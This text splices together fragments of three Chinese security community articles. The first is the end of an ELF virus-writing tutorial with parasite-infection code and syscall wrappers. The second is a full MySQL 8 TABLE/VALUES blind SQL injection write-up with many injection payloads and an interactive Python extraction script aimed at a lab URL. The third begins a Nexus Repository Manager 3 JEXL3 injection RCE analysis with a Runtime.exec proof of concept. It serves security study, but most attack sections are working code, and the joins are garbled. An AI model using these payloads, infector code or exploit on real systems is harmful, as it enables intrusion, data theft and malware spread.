jmp_code[5] = '\xc3'; /* ret */
jmp_code[6] = 0;
int return_entry_start = 1;
ofd = open (tmp, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode);
write (ofd, mem, end_of_text); //扩展text段的尾部
*(unsigned long *) &jmp_code[1] = old_e_entry; //把原始入口点写入到寄生代码头部
write (ofd, (char *)address_of_main, psize - 7); //将寄生代码从text段尾部写入
write (ofd, jmp_code, 7); //写入jmp_code
lseek (ofd, (PAGE_SIZE - 4) - psize, SEEK_CUR);
write (ofd, &magic, sizeof(magic)); //将magic写入宿主文件作为标记
mem += end_of_text;
unsigned int last_chunk = st.st_size - end_of_text;
write (ofd, mem, last_chunk);
rename (tmp, host);
close (ofd);
}
unsigned long get_eip(void)
{
__asm__("call foobar\n"
".globl foobar\n"
"foobar:\n"
"pop %eax");
}
/*系统调用接口定义*/
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name)); \
return(type)__res; \
}
#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}
#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}
#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3))); \
return(type)__res; \
}
#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}
#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}
#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
: "=a" (__res) \
: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
"0" ((long)(arg6))); \
return(type),__res; \
}
__syscall1(void, exit, int, status);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(off_t, lseek, int, fildes, off_t, offset, int, whence);
__syscall2(int, fstat, int, fildes, struct stat * , buf);
__syscall2(int, rename, const char *, old, const char *, new);
__syscall3(int, open, const char *, pathname, int, flags, mode_t, mode);
__syscall1(int, close, int, fd);
__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
__syscall3(int, read, int, fd, void *, buf, size_t, count);
__syscall2(int, stat, const char *, path, struct stat *, buf);
//寄生代码尾部
void end_code() {
__asm__(".globl myend\n"
"myend: \n"
"mov $1,%eax \n" // sys_exit
"mov $0,%ebx \n" //normal status
"int $0x80 \n");
}
## 6.参考
《linux二进制分析》
ELF文件病毒分析和编写：<https://blog.csdn.net/luojiafei/article/details/7206063>
使用汇编编写一个病毒：<https://www.anquanke.com/post/id/85256> | 社区文章 |
# 浅谈利用mysql8新特性进行SQL注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
前段时间遇到一个题考查的是mysql8的table注入。当时没有做出来。之前有了解过mysql8的table注入，但做题的时候没有想到。这里简单总结复现一下mysql8新特性的sql注入。
## 0x01 MySQL8介绍
在ubuntu20 apt源中集成了mysql
8.0.20。官方表示MySQL8要比MySQL5.7快2倍，支持json,nosql，修改了默认身份验证等其他改进。
## 0x02 基本环境配置
### 1、搭建MySQL8环境
最简单的方法，就是使用docker拉取镜像搭建
docker pull mysql:8.0.21
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21
### 2、搭建SQL注入环境
1.下载vulstudy综合环境：<https://github.com/c0ny1/vulstudy>
2.启动vulstudy综合环境里的sql注入的靶场
3.进入容器修改sqli-lab的配置文件：
#安装vim
sed -i s@/deb.debian.org/@/mirrors.aliyun.com/@g /etc/apt/sources.list
apt-get clean && apt-get update && apt-get install vim
#修改sqli-lab的配置文件
vim /app/sql-connections/db-creds.inc
填写mysql相关连接信息，数据库的IP填宿主机IP(我这里是172.30.102.102)
4.然后在mysql8容器里通过下面sql语句修改默认认证方式(因为mysql8.0默认认证方式和5不一样)：
ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';
5.重新配置数据库，环境搭建完成。
## 0x03 MySQL8语法新特性
在MySQL 8.0.19之后，MySQL推出几种新语法
### 1、TABLE statement
**TABLE statement**
**作用** ：列出表中全部内容
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
TABLE是MySQL 8.0.19中引入的DML语句，它返回命名表的行和列，类似于SELECT。
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
**例子** ：
首先选择mysql数据库：`use security;`
mysql> TABLE users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.01 sec)
加上order by排序或LIMIT限制后
table users order by password;
table users limit 1;
table users limit 0,1;
table users limit 1,1;
**与SELECT的区别** ：
> 1.TABLE始终显示表的所有列
> 2.TABLE不允许对行进行任意过滤，即TABLE 不支持任何WHERE子句
### 2、VALUES statement
**VALUES statement**
**作用** ：列出一行的值
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index
VALUES是把一组一个或多个行作为表展示出来，返回的也是一个表数据。
ROW()返回的是一个行数据，VALUES将`ROW()返回的行数据`加上`字段`整理为一个表，然后展示
**例子** ：
mysql> TABLE emails;
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | [email protected] |
| 2 | [email protected] |
| 3 | [email protected] |
| 4 | [email protected] |
| 5 | [email protected] |
| 6 | [email protected] |
| 7 | [email protected] |
| 8 | [email protected] |
+----+------------------------+
8 rows in set (0.00 sec)
mysql> VALUES ROW(1, 2, 3) UNION SELECT * FROM users;
+----------+----------+------------+
| column_0 | column_1 | column_2 |
+----------+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----------+----------+------------+
14 rows in set (0.00 sec)
## 0x04 利用MySQL8新特性绕过select
**场景** ：select关键词被过滤，多语句无法使用
**测试环境** ：
1.mysql命令终端
2.sqli-labs靶场Less-1
### 1、在mysql命令终端测试
#### 1.判断列数
由于TABLE命令和VALUES返回的都是表数据，它们所返回的数据可以通过UNION语句联合起来，当列数不对时会报错，根据这点可以判断列数
TABLE users union VALUES ROW(1,2,3);
#### 2.使用values判断回显位
select * from users where id=-1 union values row(1,2,3);
#### 3.列出所有数据库名
table information_schema.schemata;
#### 4.盲注查询任意表中的内容
语句`table users limit 1;`的查询结果：
mysql> table users limit 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
实质上是`(id, username, password)`与`(1, 'Dumb',
'Dumb')`进行比较，比较顺序为自左向右，第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。
两个元组第一个字符比大小，如果第一个字符相等就比第二个字符的大小，以此类推，最终结果即为元组的大小。
mysql> select ((1,'','')<(table users limit 1));
+-----------------------------------+
| ((1,'','')<(table users limit 1)) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select ((2,'','')<(table users limit 1));
+-----------------------------------+
| ((2,'','')<(table users limit 1)) |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select ((1,'Du','')<(table users limit 1));
+-------------------------------------+
| ((1,'Du','')<(table users limit 1)) |
+-------------------------------------+
| 1 |
+-------------------------------------+
1 row in set (0.00 sec)
mysql> select ((1,'Dum','')<(table users limit 1));
+--------------------------------------+
| ((1,'Dum','')<(table users limit 1)) |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)
mysql> select ((1,'Dumb','')<(table users limit 1));
+---------------------------------------+
| ((1,'Dumb','')<(table users limit 1)) |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set (0.00 sec)
mysql> select ((1,'Dumb','D')<(table users limit 1));
+----------------------------------------+
| ((1,'Dumb','D')<(table users limit 1)) |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)
##### 需要注意的地方
1.当前判断的所在列的后一列需要用 **字符** 表示，不能用数字，否则判断到当前列的最后一个字符会判断不出！
2.最好用`<=`替换`<`，用<比较一开始并没有问题，但到最后一位时结果为正确字符的前一个字符，用<=结果更直观。
最终判断过程如下：
mysql> select ((1,'Dumb','Dumb')<=(table users limit 1));
+--------------------------------------------+
| ((1,'Dumb','Dumb')<=(table users limit 1)) |
+--------------------------------------------+
| 1 |
+--------------------------------------------+
1 row in set (0.00 sec)
mysql> select ((1,'Dumb','Dumc')<=(table users limit 1));
+--------------------------------------------+
| ((1,'Dumb','Dumc')<=(table users limit 1)) |
+--------------------------------------------+
| 0 |
+--------------------------------------------+
1 row in set (0.00 sec)
### 2、在sqli-labs靶场测试
#### 1.判断列数
使用经典的order by语句判断：
1' order by 3--+ #正常
1' order by 4--+ #显示Unknown column '4' in 'order clause'
说明有3列
#### 2.使用values判断回显位
-1' union values row(1,2,3)--+
#### 3.爆库爆表爆字段爆数据
**（1）爆当前数据库**
-1' union values row(1,database(),3)--+
#或利用盲注1' and ascii(substr((database()),1,1))=115--+ 即s
**（2）爆所有数据库**
因为table不能像select控制列数，除非列数一样的表，不然都回显不出来。
需要使用table查询配合无列名盲注
`information_schema.schemata`表有6列
因为schemata表中的第一列是def，不需要判断，所以可以直接判断库名
1' and ('def','m','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常
1' and ('def','n','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误
#得到第1个数据库名的第一个字符为m
......
1' and ('def','mysql','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常
1' and ('def','mysqm','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误
说明第1个数据库名为`mysql`
1' and ('def','information_schema','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显正常
1' and ('def','information_schemb','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显错误
#说明第2个数据库名为information_schema
......
一直猜解，直到获得全部数据库名
**（3）爆数据表**
`information_schema.tables`表有21列
1' and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 317,1)--+ #第一个表users
1' and ('def','security','emails','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 318,1)--+ #第二个表emails
1' and ('def','security','uagents','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 319,1)--+ #第三个表uagents
1' and ('def','security','referers','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 320,1)--+ #第四个表referers
前两个字段都是确定的，可以写一个for循环判断，如果结果为真，代表从那行开始(这里是`limit 317,1`，即第318行)，然后盲注第三个列。
**（4）爆字段名**
`information_schema.columns`表有22列
得到所有表名后开始判断字段名，找到columns表，具体方法和上面一样
1' and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3386,1)--+ #users表第一个字段为id
1' and ('def','security','users','password','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3387,1)--+ #users表，第二个字段为password
1' and ('def','security','users','username','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3388,1)--+ #users表，第三个字段为username
**（3）爆数据**
1' and (1,'D','')<=(table users limit 1)--+ #正常
1' and (1,'E','')<=(table users limit 1)--+ #错误
#table users limit 1也就是table users limit 0,1
#1' and (1,'D','')<=(table users limit 0,1)--+ #正常
#1' and (1,'E','')<=(table users limit 0,1)--+ #错误
......
1' and (1,'Dumb','Dumb')<=(table users limit 1)--+ #正常
1' and (1,'Dumb','Dumc')<=(table users limit 1)--+ #错误
得到第1个记录为`1 Dumb Dumb`
1' and (8,'admin','admin')<=(table users limit 7,1)--+ #正常
1' and (8,'admin','admio')<=(table users limit 7,1)--+ #错误
得到第8个记录为`8 admin admin`
一步一步注出数据
## 0x05 脚本编写
一个一个手注，似乎有点麻烦。自己于是尝试写个脚本：
'''
@author qwzf
@desc 本脚本是用于mysql 8新特性的sql注入
@date 2021/02/18
'''
import requests
import string
url = 'http://121.41.231.75:8002/Less-8/?id='
chars=string.ascii_letters+string.digits+"@{}_-?"
def current_db(url):
print("利用mysql8新特性或普通布尔盲注:\n1.新特性(联合查询) 2.普通布尔盲注")
print("请输入序号:",end='')
num = int(input())
if num == 1:
payload = "-1' union values row(1,database(),3)--+" #联合查询爆当前数据库(可修改)
urls = url + payload
r = requests.get(url=urls)
print(r.text)
else:
name=''
payload = "1' and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改)
for i in range(1,40):
char=''
for j in chars:
payloads = payload.format(i,ord(j))
urls = url + payloads
r = requests.get(url=urls)
if "You are in" in r.text:
name += j
print(name)
char = j
break
if char == '':
break
def str2hex(name):
res = ''
for i in name:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
def dbs(url): #无列名盲注爆所有数据库(可修改)
while True:
print("请输入要爆第几个数据库，如：1,2等:",end='')
x = int(input())-1
num = str(x)
if x < 0:
break
payload = "1' and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break
def tables_n(url,database): #无列名盲注爆数据表开始行数(可修改)
payload = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+"
for i in range(0,10000):
payloads = payload.format(i)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
char = chr(ord(database[-1])+1)
database = database[0:-1]+char
payld = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+"
urls = url + payld
res = requests.get(url=urls)
#print(i)
if 'You are in' not in res.text:
print('从第',i,'行开始爆数据表') #判断开始行数
n = i
break
return n
def tables(url,database,n): #无列名盲注爆数据表(可修改)
while True:
print("请输入要爆第几个数据表，如：1,2等:",end='')
x = int(input())-1
num = str(x + n)
if x < 0:
break
payload = "1' and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break
def columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改)
payload = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+"
for i in range(3000,10000):
payloads = payload.format(i)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
char = chr(ord(table[-1])+1)
table = table[0:-1]+char
payld = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+"
urls = url + payld
res = requests.get(url=urls)
#print(i)
if 'You are in' not in res.text:
print('从第',i,'行开始爆字段') #判断开始行数
n = i
break
return n
def columns(url,database,table,n): #无列名盲注爆字段值(可修改)
while True:
print("请输入要爆第几个字段，如：1,2等:",end='')
x = int(input())-1
num = str(x + n)
if x < 0:
break
payload = "1' and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break
def datas(url,table): #无列名盲注爆数据(可修改)
while True:
print("请输入要爆第几个数据，如：1,2等:",end='')
x = int(input())
y = x-1
num = str(y)
if y < 0:
break
payload = "1' and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break
if __name__ == "__main__":
while True:
print("请输入要操作的内容：\n1.爆当前数据库\n2.爆数据表开始行号\n3.爆数据表\n4.爆字段值开始行号\n5.爆字段值\n6.爆数据\n7.爆所有数据库")
types = int(input())
if types == 1:
current_db(url)
elif types == 2 or types == 3:
print("请输入已经得到的数据库名:",end='')
database = input()
if types == 2:
tables_n(url,database)
elif types == 3:
print("爆数据表开始行号:",end='')
n = int(input())
tables(url,database,n)
elif types == 4 or types == 5:
print("请输入已经得到的数据库名:",end='')
database = input()
print("请输入已经得到的数据表名:",end='')
table = input()
if types == 4:
columns_n(url,database,table)
elif types == 5:
print("爆字段值开始行号:",end='')
n = int(input())
columns(url,database,table,n)
elif types == 6:
print("请输入要查询的数据表名:",end='')
table = input()
datas(url,table)
else:
dbs(url)
经测试基本没有问题。上边脚本是get型传参，且参数名为id的脚本。可根据实际情况进行修改。
## 0x06 CTF题目实战
暂时没有找到题目环境，找到后再总结
参考：
[RoarCTF部分题目WP](https://mp.weixin.qq.com/s?__biz=MzUyMTAyODYwNg==&mid=2247489077&idx=1&sn=cd865192382b67c21ab6835dea99c94d&chksm=f9e000a4ce9789b2263e9cd8025c711687c4b6c5f22bb0e7854d77c124cf98d579616fb22377&mpshare=1&scene=23&srcid=1209qvPhLi3qrPCHX4DAMjRN&sharer_sharetime=1607478296433&sharer_shareid=9a768428f445de7c9f085723c18fd735#rd)
## 0x07 后记
上面记录了mysql8新特性的sql注入。可能会有个别不恰当之处，欢迎大师傅批评指正！
参考：
[MYSQL8.0注入新特性](https://xz.aliyun.com/t/8646)
[利用MySQL8新特性绕过select过滤](https://0xgeekcat.github.io/%E5%88%A9%E7%94%A8MySQL8%E6%96%B0%E7%89%B9%E6%80%A7%E7%BB%95%E8%BF%87select%E8%BF%87%E6%BB%A4.html)
[RoarCTF部分题目WP](https://mp.weixin.qq.com/s?__biz=MzUyMTAyODYwNg==&mid=2247489077&idx=1&sn=cd865192382b67c21ab6835dea99c94d&chksm=f9e000a4ce9789b2263e9cd8025c711687c4b6c5f22bb0e7854d77c124cf98d579616fb22377&mpshare=1&scene=23&srcid=1209qvPhLi3qrPCHX4DAMjRN&sharer_sharetime=1607478296433&sharer_shareid=9a768428f445de7c9f085723c18fd735#rd) | 社区文章 |
# 简介
Sonatype Nexus Repository Manager 3的`plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy`接口未进行权限验证，该接口可以在未授权访问时发送精心构造的恶意`JSON`数据，造成`JEXL3`表达式注入进而远程执行任意命令。
影响版本：Nexus Repository Manager OSS/Pro 3.x - 3.14.0
修复版本：Nexus Repository Manager OSS/Pro 3.15.0
# JEXL表达式
JEXL（Java EXpression
Language），这是一种简单的表达语言，JEXL基于对JSTL表达式语言进行一些扩展从而实现一种表达式语言，最初受Apache
Velocity和JavaServer Pages标准标记库版本1.1（JSTL）和JavaServer Pages
2.0（JSP）中定义的表达语言的启发。
## 示例
选择Nexus-Repository-Manager3中使用的JEXL3，添加`pom.xml`依赖：
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-jexl3</artifactId>
<version>3.0</version>
</dependency>
使用的基本步骤：
* 创建表达式引擎对象
* 创建想要执行的表达式语句，语句中可以包含变量
* 创建表达式Context对象，给表达式中的变量赋值
* 使用表达式引擎创建表达式对象
* 使用表达式对象执行表达式计算
伪代码：
// Create a JexlEngine (could reuse one instead)
JexlEngine jexl = new JexlBuilder().create();
// Create an expression object equivalent to 'car.getEngine().checkStatus()':
String jexlExp = "car.engine.checkStatus()";
Expression e = jexl.createExpression( jexlExp );
// The car we have to handle coming as an argument...
Car car = theCarThatWeHandle;
// Create a context and add data
JexlContext jc = new MapContext();
jc.set("car", car );
// Now evaluate the expression, getting the result
Object o = e.evaluate(jc);
实际代码：
Foo.java
public static class Foo {
public String getFoo() {
return "This is from getFoo()";
}
public String get(String arg) {
return "This is the property " + arg;
}
public String convert(long i) {
return "The value is : " + i;
}
}
Foo类包含三个简单方法，包含有参数和无参数方法。
TestCase.java
package Nexus;
import org.apache.commons.jexl3.*;
public class TestCase {
public static void main(String[] args) {
JexlEngine jexl = new JexlBuilder().create();
JexlContext jc = new MapContext();
Foo foo = new Foo();
Integer number = new Integer(9999);
jc.set("foo", foo);
jc.set("number", number);
JexlExpression e = jexl.createExpression("foo.getFoo()");
Object o = e.evaluate(jc);
System.out.println("value returned by the method getFoo() is : " + o + " | " + foo.getFoo());
e = jexl.createExpression("foo.convert(1)");
o = e.evaluate(jc);
System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(1));
e = jexl.createExpression("foo.convert(number)");
o = e.evaluate(jc);
System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(9999));
e = jexl.createExpression("foo.bar");
o = e.evaluate(jc);
System.out.println("value returned for the property 'bar' is : " + o + " | " + foo.get("bar"));
}
public static class Foo {
public String getFoo() {
return "This is from getFoo()";
}
public String get(String arg) {
return "This is the property " + arg;
}
public String convert(long i) {
return "The value is : " + i;
}
}
}
首先是`new JexlBuilder().create()`创建引擎对象，接着`new
MapContext()`创建表达式Context对象数组，接着创建`Integer`对象和`Foo`对象通过`set`放入数组中。
* 第一个例子`createExpression("foo.getFoo()")`，创建引擎创建表达式对象，然后通过`evaluate`执行计算。表达式字符串存在`foo`，因此会到表达式Context数组中匹配到`Foo`对象，并执行无参数的`getFoo()`方法。
* 第二个例子`createExpression("foo.convert(1)")`，指定传入参数`1`并调用`convert()`，结果为`1`
* 第三个例子`createExpression("foo.convert(number)")`，到Context数组中寻找传入参数的`number`，并调用`convert()`，结果为`9999`
运行结果：
value returned by the method getFoo() is : This is from getFoo() | This is from getFoo()
value of foo.convert(1) is : The value is : 1 | The value is : 1
value of foo.convert(number) is : The value is : 9999 | The value is : 9999
value returned for the property 'bar' is : This is the property bar | This is the property bar
## RCE
精心构造恶意的表达式，表达式对象执行时能够完成任意命令执行，POC如下：
package Nexus;
import org.apache.commons.jexl3.*;
public class JEXLTEST {
public static void main(String[] args) {
String Exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')";
JexlEngine engine = new JexlBuilder().create();
JexlExpression Expression = engine.createExpression(Exp);
JexlContext Context = new MapContext();
//Context.set("foo", 999);
Object rs = Expression.evaluate(Context);
System.out.println(rs);
}
}
org.apache.commons.jexl3.JexlBuilder#create
`new JexlBuilder().create()`首先创建`JexlBuilder`类对象，然后调用`create`方法创建并返回`Engine`对象
org.apache.commons.jexl3.internal.Engine#Engine(org.apache.commons.jexl3.JexlBuilder)
`Engine`对象使用构造函数进行初始化，并且`Engine`类继承`JexlEngine`类，返回上层执行`engine.createExpression(Exp)`。
org.apache.commons.jexl3.JexlExpression
`expression`必须是有效的JEXL表达式字符串，调用父类`JexlEngine`的`createExpression`方法。
org.apache.commons.jexl3.internal.Engine#createExpression
使用`trimSource`去掉表达式的空白，然后传入`parse`函数
org.apache.commons.jexl3.internal.Engine#parse
然后调用`this.parser.parse()`进行解析表达式，`this.parser`对象构造函数
org/apache/commons/jexl3/internal/Engine.java:91
org.apache.commons.jexl3.parser.Parser#Parser(java.io.Reader)
继续跟进`parse`对象的`parse()`
org.apache.commons.jexl3.parser.Parser#parse
org.apache.commons.jexl3.parser.JJTParserState#closeNodeScope(org.apache.commons.jexl3.parser.Node,
boolean)
解析表达式的过程很长，通过节点`node`进行解析，解析的调用栈为：
closeNodeScope:112, JJTParserState (org.apache.commons.jexl3.parser)
Arguments:3044, Parser (org.apache.commons.jexl3.parser)
MethodCall:3565, Parser (org.apache.commons.jexl3.parser)
MemberExpression:3604, Parser (org.apache.commons.jexl3.parser)
ValueExpression:3634, Parser (org.apache.commons.jexl3.parser)
UnaryExpression:2367, Parser (org.apache.commons.jexl3.parser)
MultiplicativeExpression:2080, Parser (org.apache.commons.jexl3.parser)
AdditiveExpression:2000, Parser (org.apache.commons.jexl3.parser)
RelationalExpression:1661, Parser (org.apache.commons.jexl3.parser)
EqualityExpression:1549, Parser (org.apache.commons.jexl3.parser)
AndExpression:1505, Parser (org.apache.commons.jexl3.parser)
ExclusiveOrExpression:1461, Parser (org.apache.commons.jexl3.parser)
InclusiveOrExpression:1417, Parser (org.apache.commons.jexl3.parser)
ConditionalAndExpression:1373, Parser (org.apache.commons.jexl3.parser)
ConditionalOrExpression:1329, Parser (org.apache.commons.jexl3.parser)
ConditionalExpression:1247, Parser (org.apache.commons.jexl3.parser)
AssignmentExpression:947, Parser (org.apache.commons.jexl3.parser)
Expression:943, Parser (org.apache.commons.jexl3.parser)
JexlExpression:155, Parser (org.apache.commons.jexl3.parser)
parse:27, Parser (org.apache.commons.jexl3.parser)
parse:684, Engine (org.apache.commons.jexl3.internal)
createExpression:371, Engine (org.apache.commons.jexl3.internal)
createExpression:59, Engine (org.apache.commons.jexl3.internal)
createExpression:289, JexlEngine (org.apache.commons.jexl3)
main:13, JEXLTEST (Nexus)
层层返回到`createExpression`函数
org/apache/commons/jexl3/internal/Engine.java:371
`ASTJexlScript`对象通过`children`成员层级关系存储解析出来的`node`节点，并传入`Script`构造函数。
org.apache.commons.jexl3.internal.Script#Script
分别放入`Script`类的各个成员中，最终返回`Script`类对象到`main`函数。
Expression类型为`Script`，且继续传入表达式Context对象调用`evaluate`方法
org.apache.commons.jexl3.internal.Script#evaluate
传入包含全部层级关系的`node`进入`interpreter.interpret`进行解析
org.apache.commons.jexl3.internal.Interpreter#interpret
后面就是层层解析`node`，最后通过反射完成命令执行，调用栈如下：
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:93, MethodExecutor (org.apache.commons.jexl3.internal.introspection)
call:1665, Interpreter (org.apache.commons.jexl3.internal)
visit:1409, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:18, ASTMethodNode (org.apache.commons.jexl3.parser)
visit:1133, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:18, ASTReference (org.apache.commons.jexl3.parser)
interpret:201, Interpreter (org.apache.commons.jexl3.internal)
evaluate:186, Script (org.apache.commons.jexl3.internal)
main:20, JEXLTEST (Nexus)
# Nexus3 JEXL3表达式注入
## 环境搭建
拉取nexus3 docker
docker pull sonatype/nexus3:3.14.0
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.14.0
